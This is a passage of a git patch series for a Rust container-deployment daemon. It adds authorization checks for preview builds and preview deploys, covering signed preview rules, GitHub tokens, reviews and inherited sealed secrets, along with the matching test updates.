diff --git a/core/crates/ployzd/src/machine/local_machine/rule_deploy_tests.rs b/core/crates/ployzd/src/machine/local_machine/rule_deploy_tests.rs
index 9439b1ede7..ea6996b632 100644
--- a/core/crates/ployzd/src/machine/local_machine/rule_deploy_tests.rs
+++ b/core/crates/ployzd/src/machine/local_machine/rule_deploy_tests.rs
@@ -329,7 +329,7 @@ struct SlowHead {
 impl Github for SlowHead {
     async fn claims(
         &self,
-        rule: &ployz_core::authority::AutoDeployRule,
+        rule: &impl ployz_core::authority::ClaimRule,
         token: &str,
         now: Timestamp,
     ) -> Result<ployz_core::authority::GithubClaims, crate::github::oidc::ProofRefusal> {
diff --git a/core/crates/ployzd/src/machine/local_machine/rule_grant.rs b/core/crates/ployzd/src/machine/local_machine/rule_grant.rs
index a3b4a9cfd9..12dcd37320 100644
--- a/core/crates/ployzd/src/machine/local_machine/rule_grant.rs
+++ b/core/crates/ployzd/src/machine/local_machine/rule_grant.rs
@@ -11,7 +11,7 @@ use std::future::Future;
 use ployz_core::{
     BuildGrantId, GithubToken, RuleGrant, SealedRecord,
     authority::{
-        AuthorityRefusal, AutoDeployRule, BuildClaim, BuildStage, CommitAuthority, CommitSha,
+        AuthorityRefusal, BuildClaim, BuildStage, ClaimRule, CommitAuthority, CommitSha,
         GithubClaims, PolicyDigest, RecipientKey, SealedDigest, Timestamp, rule::verify_signature,
     },
 };
@@ -28,7 +28,7 @@ pub(crate) trait Github: Sync {
     /// names check out at `now`.
     fn claims(
         &self,
-        rule: &AutoDeployRule,
+        rule: &impl ClaimRule,
         token: &str,
         now: Timestamp,
     ) -> impl Future<Output = Result<GithubClaims, ProofRefusal>> + Send;
@@ -72,7 +72,7 @@ impl GithubOnline {
 impl Github for GithubOnline {
     async fn claims(
         &self,
-        rule: &AutoDeployRule,
+        rule: &impl ClaimRule,
         token: &str,
         now: Timestamp,
     ) -> Result<GithubClaims, ProofRefusal> {
@@ -114,7 +114,7 @@ impl FixedGithub {
 impl Github for FixedGithub {
     async fn claims(
         &self,
-        rule: &AutoDeployRule,
+        rule: &impl ClaimRule,
         token: &str,
         now: Timestamp,
     ) -> Result<GithubClaims, ProofRefusal> {
@@ -219,6 +219,8 @@ impl LocalMachine {
             return Err(refused("an audience"));
         }
         match grant.authority {
+            // A reviewed build is a preview's, which only a preview rule admits.
+            CommitAuthority::Review(_) => return Err(refused("an authority")),
             CommitAuthority::Head => {
                 if grant.commit != claims.sha {
                     return Err(refused("a commit"));
@@ -243,8 +245,13 @@ impl LocalMachine {
         if digest != service.secrets {
             return Err(refused("the Sealed values"));
         }
-        self.approvals
-            .consume_rule_proof(&rule, &claims.jti, claims.exp, now)?;
+        self.approvals.consume_rule_proof(
+            &rule,
+            Error::RuleGrantRefused,
+            &claims.jti,
+            claims.exp,
+            now,
+        )?;
         tracing::info!(
             rule = %rule.rule,
             generation = rule.generation,
diff --git a/core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs b/core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs
index 8cfda9c548..247e5641d7 100644
--- a/core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs
+++ b/core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs
@@ -1,5 +1,6 @@
 #![expect(clippy::indexing_slicing, reason = "JSON fixtures")]
 
+use ployz_core::authority::AutoDeployRule;
 use std::collections::BTreeMap;
 
 use ployz_core::{
diff --git a/core/crates/ployzd/src/sealed_env.rs b/core/crates/ployzd/src/sealed_env.rs
index 7434dfccd5..c65f125afb 100644
--- a/core/crates/ployzd/src/sealed_env.rs
+++ b/core/crates/ployzd/src/sealed_env.rs
@@ -165,8 +165,11 @@ fn check_bindings(record: &SealedRecord) -> Result<(), OpenError> {
             return Err(OpenError::BadName(name.clone()));
         }
         if let EnvValue::Sealed(sealed) = value {
+            // A parent's value a preview inherits keeps its parent Service's scope: its
+            // associated data binds that, and admission checked the preview rule names it.
             let scope_matches = match sealed.scope {
                 SealedScope::Shared => true,
+                SealedScope::Service(_) if sealed.environment.is_some() => true,
                 SealedScope::Service(service) => service == record.identity().service,
             };
             if sealed.key != *name || !scope_matches {
@@ -457,6 +460,7 @@ pub(crate) mod test_support {
 
         pub(crate) fn seal(&self, key: &str, scope: SealedScope, plaintext: &str) -> SealedValue {
             let mut value = SealedValue {
+                environment: None,
                 sealed: ployz_core::Ciphertext::from_bytes(vec![0; 48]),
                 scope,
                 key: key.into(),
diff --git a/core/crates/ployzd/src/sealing_key.rs b/core/crates/ployzd/src/sealing_key.rs
index 4beec7414d..0463594d36 100644
--- a/core/crates/ployzd/src/sealing_key.rs
+++ b/core/crates/ployzd/src/sealing_key.rs
@@ -818,6 +818,7 @@ mod tests {
         let service = Uuid::parse_str("7d4e9a12-3c5b-4f6e-8a90-b1c2d3e4f5a6").unwrap();
         let aad = |organization: &str, environment: Uuid, service: Uuid, variable: &str| {
             SealedValue {
+                environment: None,
                 sealed: sealed.clone(),
                 scope: SealedScope::Service(service),
                 key: variable.into(),

From 44b32fe1b12ab135f13929430161ecb66cfae243 Mon Sep 17 00:00:00 2001
From: Nick Potts <github@nickpotts.com.au>
Date: Tue, 10 Nov 2026 14:41:45 +0000
Subject: [PATCH 3/8] Admit preview builds' grants and preview deploys on each
 Machine

A preview build's grant and a preview's Container changes carry the preview rule, the
image token and, for a reviewed build, the review. The Machine checks each against what
it holds: the derived Namespace, the trusted account or the review, the head it reads,
the inherited Sealed values, and the template. Setup Commands run only in a preview's
first Hook Container here.
---
 core/crates/ployz-core/src/authority/mod.rs   |   4 +-
 .../ployz-core/src/authority/preview.rs       |  99 +++-
 .../ployz-core/src/authority/preview_tests.rs |  28 +-
 core/crates/ployz-core/src/rpc.rs             |   8 +
 core/crates/ployz-core/src/rpc/build_grant.rs |  29 ++
 core/crates/ployz-core/src/rpc_catalog.rs     |   4 +
 core/crates/ployz-core/tests/capabilities.rs  |  13 +-
 core/crates/ployz-core/tests/contract.rs      |   1 +
 core/crates/ployz-testkit/tests/fake_fleet.rs |   3 +
 core/crates/ployz/src/cluster.rs              |   1 +
 .../ployz/src/deploy/exec_cluster_tests.rs    |   1 +
 core/crates/ployz/src/global_catch_up.rs      |   1 +
 core/crates/ployz/src/sdk/github_build.rs     |   2 +
 core/crates/ployz/tests/build_layer3/grant.rs |   1 +
 .../ployzd/src/machine/local_machine.rs       |  10 +
 .../machine/local_machine/preview_deploy.rs   | 448 ++++++++++++++++++
 .../local_machine/preview_deploy_tests.rs     | 315 ++++++++++++
 .../machine/local_machine/preview_grant.rs    | 153 ++++++
 .../local_machine/preview_grant_tests.rs      | 335 +++++++++++++
 .../machine/local_machine/restart_approval.rs |  63 ++-
 .../src/machine/local_machine/rule_deploy.rs  |   2 +-
 .../machine/local_machine/rule_grant_tests.rs |   9 +-
 core/crates/ployzd/src/machine_api/local.rs   |  79 ++-
 .../ployzd/src/machine_api/local_tests.rs     |   5 +-
 .../src/machine_api/rotation_fleet_tests.rs   |   2 +
 .../ployzd/src/management/build_grant.rs      |   1 +
 core/crates/ployzd/src/sealed_env.rs          |  20 +
 .../crates/ployzd/tests/management_connect.rs |   2 +
 28 files changed, 1588 insertions(+), 51 deletions(-)
 create mode 100644 core/crates/ployzd/src/machine/local_machine/preview_deploy.rs
 create mode 100644 core/crates/ployzd/src/machine/local_machine/preview_deploy_tests.rs
 create mode 100644 core/crates/ployzd/src/machine/local_machine/preview_grant.rs
 create mode 100644 core/crates/ployzd/src/machine/local_machine/preview_grant_tests.rs

diff --git a/core/crates/ployz-core/src/authority/mod.rs b/core/crates/ployz-core/src/authority/mod.rs
index 56b9de207c..d64a8724a2 100644
--- a/core/crates/ployz-core/src/authority/mod.rs
+++ b/core/crates/ployz-core/src/authority/mod.rs
@@ -31,8 +31,8 @@ pub use deploy::{
 pub use join::JoinApproval;
 pub use keys::{Approver, KeySignature, Purpose, Signed, Signer, SigningPublicKey, Statement};
 pub use preview::{
-    CheckedReview, PreviewFacts, PreviewKey, PreviewReview, PreviewRule, PreviewService, Review,
-    ReviewSigner, ReviewedService,
+    CheckedReview, PreviewCreation, PreviewFacts, PreviewKey, PreviewProof, PreviewReview,
+    PreviewRule, PreviewService, Review, ReviewSigner, ReviewedService,
 };
 pub use proposal::{ProposalApproval, ProposalRef, ProposalStep, StepDigest, StepKind};
 pub use refusal::AuthorityRefusal;
diff --git a/core/crates/ployz-core/src/authority/preview.rs b/core/crates/ployz-core/src/authority/preview.rs
index 43dc791c80..f9b8e69496 100644
--- a/core/crates/ployz-core/src/authority/preview.rs
+++ b/core/crates/ployz-core/src/authority/preview.rs
@@ -315,9 +315,16 @@ pub struct PreviewFacts<'a> {
     /// The head of the preview's branch, read from GitHub now. `None` for a reviewed
     /// build, whose authority is the review.
     pub head: Option<CommitSha>,
-    /// No Service Container of this Service exists in the Namespace on this Machine, so
-    /// a creation may still run the Setup Commands.
-    pub first: bool,
+}
+
+/// A preview creation [`PreviewRule::verify_creation`] admitted.
+#[derive(Clone, Copy, Debug, Eq, PartialEq)]
+pub struct PreviewCreation {
+    pub image: ImageDigest,
+    /// The creation is a Hook Container that runs the Setup Commands, which only a
+    /// preview's first deploy of the Service may do: the caller checks that no Service
+    /// Container of it exists here yet.
+    pub runs_setup: bool,
 }
 
 impl PreviewRule {
@@ -377,7 +384,8 @@ impl PreviewRule {
     /// Check a new Container of a preview: everything [`Self::verify_step`] checks, the
     /// image the token names built with secrets sealed from this Machine's attest key, its
     /// Sealed values, and its spec's [`template`] against what the person signed: the
-    /// rule's, or for a reviewed build the review's. Returns the image.
+    /// rule's, or for a reviewed build the review's. Returns the image, and whether the
+    /// creation runs the Setup Commands.
     ///
     /// # Errors
     /// Returns [`AuthorityRefusal::Mismatch`] naming the first fact that does not hold.
@@ -387,7 +395,7 @@ impl PreviewRule {
         facts: &PreviewFacts<'_>,
         creation: Creation<'_>,
         review: Option<&CheckedReview>,
-    ) -> Result<ImageDigest, AuthorityRefusal> {
+    ) -> Result<PreviewCreation, AuthorityRefusal> {
         let mismatch = |field| AuthorityRefusal::Mismatch { field };
         if creation.service != facts.service || &creation.spec.name != facts.service {
             return Err(mismatch("a Service"));
@@ -415,21 +423,21 @@ impl PreviewRule {
         let spec = creation.spec.to_requested();
         self.verify_sealed(&spec, service, review)?;
         let digest = template(&spec, facts.namespace, service)?;
-        match review {
+        let setup = match review {
             Some(review) => {
                 if review.digest_for(facts.service) != Some(digest) {
                     return Err(mismatch("a payload"));
                 }
+                false
             }
-            None if digest == service.template => {}
-            None if Some(digest) == service.setup => {
-                if !facts.first {
-                    return Err(mismatch("a Setup Command"));
-                }
-            }
+            None if digest == service.template => false,
+            None if Some(digest) == service.setup => true,
             None => return Err(mismatch("a payload")),
-        }
-        Ok(image)
+        };
+        Ok(PreviewCreation {
+            image,
+            runs_setup: setup && creation.kind == ContainerKind::PreDeployHook,
+        })
     }
 
     /// Refuse a preview's Sealed value unless it is a parent value this Service inherits,
@@ -473,6 +481,50 @@ impl PreviewRule {
     }
 }
 
+impl PreviewRule {
+    /// Refuse a preview build's Sealed record unless each of its values is a parent value
+    /// `service` inherits, then return its [`secrets_digest`] for the caller to compare
+    /// with the rule's.
+    ///
+    /// # Errors
+    /// Returns [`AuthorityRefusal::Mismatch`] naming the Sealed value.
+    pub fn build_secrets(
+        &self,
+        service: &PreviewService,
+        record: &crate::SealedRecord,
+    ) -> Result<SealedDigest, AuthorityRefusal> {
+        let refused = || AuthorityRefusal::Mismatch {
+            field: SEALED_VALUE,
+        };
+        let inherited = record
+            .values()
+            .values()
+            .flat_map(EnvValue::sealed_parts)
+            .all(|value| {
+                value.environment == Some(self.parent_id) && service.inherit.contains(&value.key)
+            });
+        if !inherited {
+            return Err(refused());
+        }
+        secrets_digest(record).map_err(|_| refused())
+    }
+}
+
+/// The digest a preview rule approves for a preview build's Sealed record: SHA-256 of its
+/// values in canonical JSON, without the identity, which names each preview's own
+/// Environment.
+///
+/// # Errors
+/// Returns a [`super::CanonicalError`] when the values have no canonical form.
+pub fn secrets_digest(record: &crate::SealedRecord) -> Result<SealedDigest, super::CanonicalError> {
+    let mut value = serde_json::to_value(record.values())
+        .map_err(|error| super::CanonicalError::Parse(error.to_string()))?;
+    super::deploy::drop_nulls(&mut value);
+    Ok(SealedDigest::from_bytes(
+        Sha256::digest(canonical::to_canonical(&value)?).into(),
+    ))
+}
+
 /// The field a refused Sealed value names.
 pub const SEALED_VALUE: &str = "a Sealed value";
 
@@ -552,6 +604,25 @@ fn placeholder(value: &mut Value, namespace: &str) {
     }
 }
 
+/// What a preview's Container change carries in place of a deploy approval: the signed
+/// preview rule, the pinned builder's image token and the claim whose audience it names,
+/// and for a reviewed build the review. Cloud relays all of it.
+#[derive(Clone, Debug, Eq, PartialEq, Serialize, Deserialize, TS)]
+#[serde(deny_unknown_fields)]
+pub struct PreviewProof {
+    #[ts(type = "unknown")]
+    pub rule: Signed<PreviewRule>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    #[ts(optional)]
+    pub review: Option<Review>,
+    pub token: crate::GithubToken,
+    pub claim: BuildClaim,
+    /// A token that may read the preview branch's head. `None` reads a public repository.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    #[ts(optional)]
+    pub reader: Option<crate::GithubToken>,
+}
+
 /// One Service of a review, and the [`template`] digest of its spec as the reviewer saw
 /// it, which may differ from the rule's when the preview's settings were edited.
 #[derive(Clone, Debug, Eq, PartialEq, Serialize, Deserialize, TS)]
diff --git a/core/crates/ployz-core/src/authority/preview_tests.rs b/core/crates/ployz-core/src/authority/preview_tests.rs
index 5a11e0e543..32078bd85c 100644
--- a/core/crates/ployz-core/src/authority/preview_tests.rs
+++ b/core/crates/ployz-core/src/authority/preview_tests.rs
@@ -181,7 +181,7 @@ struct Case {
     key: PreviewKey,
     namespace: Namespace,
     spec: Value,
-    first: bool,
+    kind: ContainerKind,
     review: Option<CheckedReview>,
 }
 
@@ -194,12 +194,16 @@ impl Case {
             key: search(),
             spec: preview_json(namespace.as_str(), "zyxwvutsrqponmlk", false),
             namespace,
-            first: false,
+            kind: ContainerKind::ServiceContainer,
             review: None,
         }
     }
 
     fn create(&self) -> Result<ImageDigest, AuthorityRefusal> {
+        self.created().map(|created| created.image)
+    }
+
+    fn created(&self) -> Result<PreviewCreation, AuthorityRefusal> {
         let spec = resolved(&requested(self.spec.clone()), &self.namespace);
         let machine = machine();
         let facts = PreviewFacts {
@@ -213,14 +217,13 @@ impl Case {
                 .review
                 .is_none()
                 .then(|| CommitSha::parse(HEAD).unwrap()),
-            first: self.first,
         };
         self.rule.verify_creation(
             &self.claim,
             &facts,
             Creation {
                 service: &spec.name,
-                kind: ContainerKind::ServiceContainer,
+                kind: self.kind,
                 spec: &spec,
             },
             self.review.as_ref(),
@@ -347,15 +350,16 @@ fn a_generated_value_must_be_one_its_generator_could_make() {
 }
 
 #[test]
-fn setup_commands_run_only_on_a_previews_first_creation() {
-    let setup = |first| {
+fn only_a_hook_of_the_setup_template_runs_the_setup_commands() {
+    let created = |kind, setup| {
         let mut case = Case::trusted();
-        case.spec = preview_json(case.namespace.as_str(), "zyxwvutsrqponmlk", true);
-        case.first = first;
-        case.create()
+        case.spec = preview_json(case.namespace.as_str(), "zyxwvutsrqponmlk", setup);
+        case.kind = kind;
+        case.created().map(|created| created.runs_setup)
     };
-    assert_eq!(setup(true), Ok(ImageDigest::from_bytes([0x44; 32])));
-    assert_eq!(setup(false), refused("a Setup Command"));
+    assert_eq!(created(ContainerKind::PreDeployHook, true), Ok(true));
+    assert_eq!(created(ContainerKind::ServiceContainer, true), Ok(false));
+    assert_eq!(created(ContainerKind::PreDeployHook, false), Ok(false));
 }
 
 #[test]
@@ -614,7 +618,7 @@ fn a_reviewed_preview_deploys_only_the_reviewed_commit_and_settings() {
         key: PreviewKey::Fork(7),
         namespace: namespace.clone(),
         spec,
-        first: false,
+        kind: ContainerKind::ServiceContainer,
         review: Some(checked.clone()),
     };
     let spec = preview_json(namespace.as_str(), "zyxwvutsrqponmlk", false);
diff --git a/core/crates/ployz-core/src/rpc.rs b/core/crates/ployz-core/src/rpc.rs
index 5379d62ebb..4532ecd195 100644
--- a/core/crates/ployz-core/src/rpc.rs
+++ b/core/crates/ployz-core/src/rpc.rs
@@ -629,6 +629,14 @@ pub struct EnsureContainerRequest {
     #[serde(default, skip_serializing_if = "Option::is_none")]
     #[ts(optional)]
     pub rule: Option<Box<crate::authority::RuleProof>>,
+    /// The preview rule this want is part of, with the pinned builder's image token for its
+    /// Service. A Machine under Device enforcement takes it in place of a deploy approval
+    /// from an Operator caller. Sent only to a daemon advertising
+    /// [`crate::DEPLOY_PREVIEW_CAPABILITY`]; an older daemon ignores it and, enforcing,
+    /// refuses the want as unapproved.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    #[ts(optional)]
+    pub preview: Option<Box<crate::authority::PreviewProof>>,
 }
 
 /// The state a driver wants one Container in. The Machine converges to it and
diff --git a/core/crates/ployz-core/src/rpc/build_grant.rs b/core/crates/ployz-core/src/rpc/build_grant.rs
index 78cc4546f7..5554dbc1b5 100644
--- a/core/crates/ployz-core/src/rpc/build_grant.rs
+++ b/core/crates/ployz-core/src/rpc/build_grant.rs
@@ -27,6 +27,34 @@ pub struct MintBuildGrantRequest {
     #[serde(default, skip_serializing_if = "Option::is_none")]
     #[ts(optional)]
     pub rule: Option<RuleGrant>,
+    /// A build under a preview rule: the signed rule, the GitHub token whose audience names
+    /// this grant, and for a reviewed build the review. Sent only to a daemon advertising
+    /// [`crate::BUILD_GRANT_PREVIEW_CAPABILITY`], which checks them as it checks `rule`.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    #[ts(optional)]
+    pub preview: Option<PreviewGrant>,
+}
+
+/// What a builder under a preview rule asks a grant with. As for [`RuleGrant`], all but
+/// the rule, the token and the review is the builder's own word, which the Machine checks
+/// by recomputing the token's audience from it.
+#[derive(Clone, Debug, Eq, PartialEq, Serialize, Deserialize, TS)]
+#[serde(deny_unknown_fields)]
+pub struct PreviewGrant {
+    #[ts(type = "unknown")]
+    pub rule: crate::authority::Signed<crate::authority::PreviewRule>,
+    /// The review a reviewed build's authority names. `None` for a trusted push.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    #[ts(optional)]
+    pub review: Option<crate::authority::Review>,
+    pub proof: GithubToken,
+    pub service: crate::ServiceName,
+    pub commit: crate::authority::CommitSha,
+    pub authority: crate::authority::CommitAuthority,
+    pub recipient: crate::authority::RecipientKey,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    #[ts(optional)]
+    pub reader: Option<GithubToken>,
 }
 
 /// What a builder under a rule asks a grant with. Everything but the rule and the token
@@ -187,6 +215,7 @@ mod tests {
         assert_eq!(
             request,
             MintBuildGrantRequest {
+                preview: None,
                 repository,
                 holder: None,
                 sealed: None,
diff --git a/core/crates/ployz-core/src/rpc_catalog.rs b/core/crates/ployz-core/src/rpc_catalog.rs
index d17d0db0b5..3d1f40fc73 100644
--- a/core/crates/ployz-core/src/rpc_catalog.rs
+++ b/core/crates/ployz-core/src/rpc_catalog.rs
@@ -132,6 +132,8 @@ macro_rules! rpc_catalog {
                 /// The daemon mints a Build Grant for a holder's own key and returns no grant secret.
                 BUILD_GRANT_HOLDER_CAPABILITY: ("ployz.build.grant.holder.v1", Always),
                 BUILD_GRANT_RULE_CAPABILITY: ("ployz.build.grant.rule.v1", Always),
+                /// `MintBuildGrant` takes a preview rule with its GitHub token, and a review for a reviewed build, and checks them before it opens anything.
+                BUILD_GRANT_PREVIEW_CAPABILITY: ("ployz.build.grant.preview.v1", Always),
                 /// `EnsureContainer` takes a Device-signed restart approval and, under Device enforcement, refuses an Operator's restart step without one.
                 RESTART_APPROVAL_CAPABILITY: ("ployz.restart.device-approval.v2", Always),
                 /// A restart or deploy approval may be signed by a browser key under a trusted passkey's session grant that rides in its envelope. The grant names its Environment's ID, and a deploy under it opens only Sealed values sealed for that Environment.
@@ -148,6 +150,8 @@ macro_rules! rpc_catalog {
                 DEPLOY_PROPOSAL_CAPABILITY: ("ployz.container.deploy-proposal.v1", Always),
                 /// `EnsureContainer` takes an automatic deploy rule with its image token and, under Device enforcement, creates an Operator's Container under it only for the head's image built under the rule.
                 DEPLOY_RULE_CAPABILITY: ("ployz.container.deploy-rule.v1", Always),
+                /// `EnsureContainer` takes a preview rule with its image token and, under Device enforcement, creates an Operator's Container under it only in the Namespace it derives, with the settings and inherited Sealed values the rule or a review approves. Sealed values carry the Environment they were sealed for.
+                DEPLOY_PREVIEW_CAPABILITY: ("ployz.container.deploy-preview.v1", Always),
             }
         }
     };
diff --git a/core/crates/ployz-core/tests/capabilities.rs b/core/crates/ployz-core/tests/capabilities.rs
index f4250c5d00..3ff9d54d77 100644
--- a/core/crates/ployz-core/tests/capabilities.rs
+++ b/core/crates/ployz-core/tests/capabilities.rs
@@ -1,6 +1,7 @@
 use ployz_core::{
-    BUILD_GRANT_HOLDER_CAPABILITY, BUILD_GRANT_RULE_CAPABILITY, BUILD_SEALED_CAPABILITY,
-    CERTIFICATE_POLICY_CAPABILITY, CapabilityAdvertisement, CapabilityName, DEPLOY_RULE_CAPABILITY,
+    BUILD_GRANT_HOLDER_CAPABILITY, BUILD_GRANT_PREVIEW_CAPABILITY, BUILD_GRANT_RULE_CAPABILITY,
+    BUILD_SEALED_CAPABILITY, CERTIFICATE_POLICY_CAPABILITY, CapabilityAdvertisement,
+    CapabilityName, DEPLOY_PREVIEW_CAPABILITY, DEPLOY_RULE_CAPABILITY,
     DESCRIBE_CONTRACT_CAPABILITY, ENROLL_FOR_RECOVERY_CAPABILITY, ENROLL_MACHINE_CAPABILITY,
     ENSURE_CONTAINER_CAPABILITY, ENSURE_IMAGE_INGEST_CAPABILITY, ENV_SEALED_CAPABILITY,
     EXEC_CONTAINER_CAPABILITY, FORGET_MACHINE_CAPABILITY, GENERATE_SEALING_KEY_CAPABILITY,
@@ -72,6 +73,14 @@ fn catalogued_capabilities_keep_stable_spellings() {
         (BUILD_GRANT_HOLDER_CAPABILITY, "ployz.build.grant.holder.v1"),
         (BUILD_GRANT_RULE_CAPABILITY, "ployz.build.grant.rule.v1"),
         (DEPLOY_RULE_CAPABILITY, "ployz.container.deploy-rule.v1"),
+        (
+            BUILD_GRANT_PREVIEW_CAPABILITY,
+            "ployz.build.grant.preview.v1",
+        ),
+        (
+            DEPLOY_PREVIEW_CAPABILITY,
+            "ployz.container.deploy-preview.v1",
+        ),
         (
             SET_DEVICE_ENFORCEMENT_CAPABILITY,
             "ployz.machine.set-device-enforcement.v2",
diff --git a/core/crates/ployz-core/tests/contract.rs b/core/crates/ployz-core/tests/contract.rs
index 858c68104c..33adbefaa5 100644
--- a/core/crates/ployz-core/tests/contract.rs
+++ b/core/crates/ployz-core/tests/contract.rs
@@ -1648,6 +1648,7 @@ fn ensure_container_names_the_want_the_observation_and_the_refusal_on_the_wire()
         "creation_key": "deploy/slot-1"
     });
     let running = EnsureContainerRequest {
+        preview: None,
         approval: None,
         deploy: None,
         rule: None,
diff --git a/core/crates/ployz-testkit/tests/fake_fleet.rs b/core/crates/ployz-testkit/tests/fake_fleet.rs
index a856a9e6d7..003cf7b8fd 100644
--- a/core/crates/ployz-testkit/tests/fake_fleet.rs
+++ b/core/crates/ployz-testkit/tests/fake_fleet.rs
@@ -71,6 +71,7 @@ async fn client(fleet: &FakeFleet, machine: &str) -> Client {
 
 fn stop(container: &str) -> EnsureContainerRequest {
     EnsureContainerRequest {
+        preview: None,
         approval: None,
         deploy: None,
         rule: None,
@@ -269,6 +270,7 @@ async fn an_unmodeled_command_is_recorded_and_answers_unimplemented() {
     let error = client
         .call::<op::EnsureContainer>(
             EnsureContainerRequest {
+                preview: None,
                 approval: None,
                 deploy: None,
                 rule: None,
@@ -330,6 +332,7 @@ async fn a_held_copy_leaves_every_live_route_and_only_its_run_brings_it_back() {
         client
             .call::<op::EnsureContainer>(
                 EnsureContainerRequest {
+                    preview: None,
                     want,
                     approval: None,
                     deploy: None,
diff --git a/core/crates/ployz/src/cluster.rs b/core/crates/ployz/src/cluster.rs
index 0fa9529f9c..ce0e6aa2db 100644
--- a/core/crates/ployz/src/cluster.rs
+++ b/core/crates/ployz/src/cluster.rs
@@ -1695,6 +1695,7 @@ impl Client {
         let want_for_rule = &want;
         let rule = self.approvals.rule_for(want_for_rule);
         let payload = op::EnsureContainer::into_request(EnsureContainerRequest {
+            preview: None,
             want,
             approval: self.approvals.restart.clone(),
             deploy: self.approvals.deploy.clone(),
diff --git a/core/crates/ployz/src/deploy/exec_cluster_tests.rs b/core/crates/ployz/src/deploy/exec_cluster_tests.rs
index 2f4d182fc6..bc73d8c31d 100644
--- a/core/crates/ployz/src/deploy/exec_cluster_tests.rs
+++ b/core/crates/ployz/src/deploy/exec_cluster_tests.rs
@@ -611,6 +611,7 @@ async fn ensure(
     client
         .call::<op::EnsureContainer>(
             EnsureContainerRequest {
+                preview: None,
                 want,
                 approval: None,
                 deploy: None,
diff --git a/core/crates/ployz/src/global_catch_up.rs b/core/crates/ployz/src/global_catch_up.rs
index f96baec4ad..9466db40b6 100644
--- a/core/crates/ployz/src/global_catch_up.rs
+++ b/core/crates/ployz/src/global_catch_up.rs
@@ -377,6 +377,7 @@ async fn ensure_retried(
     client
         .call::<op::EnsureContainer>(
             ployz_core::EnsureContainerRequest {
+                preview: None,
                 want,
                 approval: None,
                 deploy: None,
diff --git a/core/crates/ployz/src/sdk/github_build.rs b/core/crates/ployz/src/sdk/github_build.rs
index 1885d010cc..30347dad42 100644
--- a/core/crates/ployz/src/sdk/github_build.rs
+++ b/core/crates/ployz/src/sdk/github_build.rs
@@ -436,6 +436,7 @@ pub async fn github_rule_grant(
         }
         let minted = session
             .mint_build_grant(MintBuildGrantRequest {
+                preview: None,
                 repository: repository(&id)?,
                 holder: Some(ask.holder),
                 sealed,
@@ -571,6 +572,7 @@ async fn mint(
     };
     let minted = session
         .mint_build_grant(MintBuildGrantRequest {
+            preview: None,
             repository: repository(id)?,
             holder,
             sealed,
diff --git a/core/crates/ployz/tests/build_layer3/grant.rs b/core/crates/ployz/tests/build_layer3/grant.rs
index 4d4f6cc90c..9c284c2c34 100644
--- a/core/crates/ployz/tests/build_layer3/grant.rs
+++ b/core/crates/ployz/tests/build_layer3/grant.rs
@@ -58,6 +58,7 @@ async fn ployz_build_pushes_into_a_machine_with_a_build_grant() {
 
     let minted = session
         .mint_build_grant(MintBuildGrantRequest {
+            preview: None,
             repository: ployz_core::BuildGrantRepository::parse("ployz-build/app").unwrap(),
             holder: None,
             sealed: None,
diff --git a/core/crates/ployzd/src/machine/local_machine.rs b/core/crates/ployzd/src/machine/local_machine.rs
index 66be51f82d..a4a17c01bd 100644
--- a/core/crates/ployzd/src/machine/local_machine.rs
+++ b/core/crates/ployzd/src/machine/local_machine.rs
@@ -81,6 +81,8 @@ pub(crate) use container::CutRefusal;
 pub(crate) use container::{EnsurePause, EnsurePausePoint};
 mod join_approval;
 mod management_client;
+pub(crate) mod preview_deploy;
+pub(crate) mod preview_grant;
 mod push_target;
 pub(super) mod restart_approval;
 pub(crate) mod rule_deploy;
@@ -202,6 +204,14 @@ pub enum Error {
     /// details.
     #[error("{0}")]
     RuleDeployRefused(rule_deploy::RuleDeployRefusal),
+    /// A preview build's grant failed a check before anything opened. The refusal names
+    /// [`ployz_core::BUILD_GRANT_PREVIEW_CAPABILITY`] in its details.
+    #[error("This Server refused the preview build's grant: {0}")]
+    PreviewGrantRefused(preview_deploy::PreviewRefusal),
+    /// Device enforcement refused an Operator's Container change under a preview rule.
+    /// The refusal names [`ployz_core::DEPLOY_PREVIEW_CAPABILITY`] in its details.
+    #[error("{0}")]
+    PreviewDeployRefused(preview_deploy::PreviewRefusal),
     /// GitHub did not prove a rule build: its token failed to verify or match the rule.
     #[error("This Server refused the rule build's GitHub token: {0}")]
     RuleProofRefused(crate::github::oidc::ProofRefusal),
diff --git a/core/crates/ployzd/src/machine/local_machine/preview_deploy.rs b/core/crates/ployzd/src/machine/local_machine/preview_deploy.rs
new file mode 100644
index 0000000000..4b378bef1c
--- /dev/null
+++ b/core/crates/ployzd/src/machine/local_machine/preview_deploy.rs
@@ -0,0 +1,448 @@
+//! Deploys under a preview rule: an Operator's Container change in a preview's derived
+//! Namespace, admitted on the rule, the builder's image token and, for a reviewed build,
+//! the person's review, in place of a deploy approval.
+//!
+//! The rule's signature, this Machine's place in it, a live generation, the review, the
+//! token's claims and audience, the preview those claims name, and the branch head read
+//! from GitHub now all pass before anything runs. A creation must also run the image the
+//! token names, built with secrets sealed from this Machine's own attest key, with the
+//! settings the rule or the review approves once the preview's own names are put back.
+//!
+//!   signature ─▶ mark ─▶ review ─▶ claim (token, or this Machine's accepted build)
+//!     ─▶ preview ─▶ head ─▶ creation: verify_creation ─▶ accepted build ─▶ hook once
+//!                         ─▶ step:     verify_step (Start: verify_creation of its spec)
+
+use std::time::Instant;
+
+use ployz_core::{
+    ContainerKind, ContainerNow, ContainerWant, Namespace, QualifiedService, RunTarget, Sealing,
+    ServiceName,
+    authority::{
+        AuthorityRefusal, BuildClaim, CheckedReview, CommitAuthority, CommitSha, PreviewFacts,
+        PreviewKey, PreviewProof, PreviewRule, RestartStep, Timestamp, deploy::Creation,
+        preview::verify_review, rule::verify_signature,
+    },
+};
+
+use super::{Error, LocalMachine, restart_approval::pinned, rule_grant::Github};
+
+/// Why a Machine refused a preview's build grant or deploy.
+#[derive(Debug, thiserror::Error)]
+pub enum PreviewRefusal {
+    #[error("{}", refusal_text(.0))]
+    Rule(AuthorityRefusal),
+    #[error("{0}")]
+    Proof(crate::github::oidc::ProofRefusal),
